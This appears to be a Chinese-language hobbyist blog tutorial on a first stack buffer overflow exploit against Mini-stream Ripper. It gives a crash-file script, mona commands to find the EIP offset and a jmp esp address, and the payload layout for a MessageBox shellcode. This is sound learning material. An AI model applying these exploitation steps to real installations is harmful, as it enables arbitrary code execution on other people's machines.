0x00前言
感觉自己一段时间不理bin的话bin就离我远去了
必须得每天照顾它,才不会忘掉,唉
上软件,成就感和印象会加深不少
准备开始
0x01准备
这次找了一个有很多教程的 有缓冲区溢出漏洞的软件 miniripper
百度搜索就可以找到 在虚拟机里面下载安装
安装完了之后我们写一个py脚本 来测试他的崩溃
这里我们就是已经知道了 输入超长的文件会使软件崩溃
好下面我们先来生成一个文件
import os filename = "test.m3u" myfile = open(filename,"w") filedata = "A" * 30000 #3000个A myfile.write(filedata) myfile.close
下面把这个生成的文件用ripper打开 就可以观察到崩溃了
0x02控制EIP
崩溃是崩溃了,可是我们怎么控制程序的流程嘞?
我们祭出神器mona 这是windbg可以用的一个插件 有好多很好的功能 慢慢学习
mona验证过程:
!load pykd.pyd !py mona
首先我用mona生成一个30000长度的字符串,然后通过看崩溃时候
程序执行到的那个位置 来确定EIP的位置
生成字符串
!py mona pattern_create 30000
我们看到
显示生成了文件
进去文件里面复制生成的字符串 再次生成test.m3u 用ripper打开
首先先用windbg attach一下
查看崩溃
大专栏 Mini-streamRipper栈溢出初体验>可以看到崩溃在了0x48336c48的位置,然后我们还可以用神器mona去计算偏移
!py mona pattern_offset 0x48336c48
可以看到显示出来偏移是5799 可是真正的偏移前面还要加上20280,为什么呢
因为mona生成的是循环的 我们用010看一下 右下角 每一个循环是20280的长度
所以最后的偏移就是20280+5799
下面试验一下是不是真的可以控制EIP了
我们把后几位变成ABCD的十六进制 看看程序的走向
果然是我们的0x44434241
0x03完成shellcode
好下面很清晰啦 我们要把这改成 jmp esp 所以我们的文件应该是
"A"*(20280+5799) + ""(jmp esp的地址) + ""{要执行的shellcode}
找jmp esp的命令
使用mona
!py mona jmp -r esp
我们随便选一个 0x7d322ebf
接下来是shellcode 选取一个弹框的 然后改成自己的名字!
这里就是需要知道 这里需要写一个弹框的MessageBoxA的地址,这个也是需要修改的 怎么去寻找呢 使用windbg里面的x命令
x User32!MessageBox
0x04查看结果
这样我们的shellcode全部完成 重新生成test.m3u文件,使用ripper打开!
泪水流下来T-T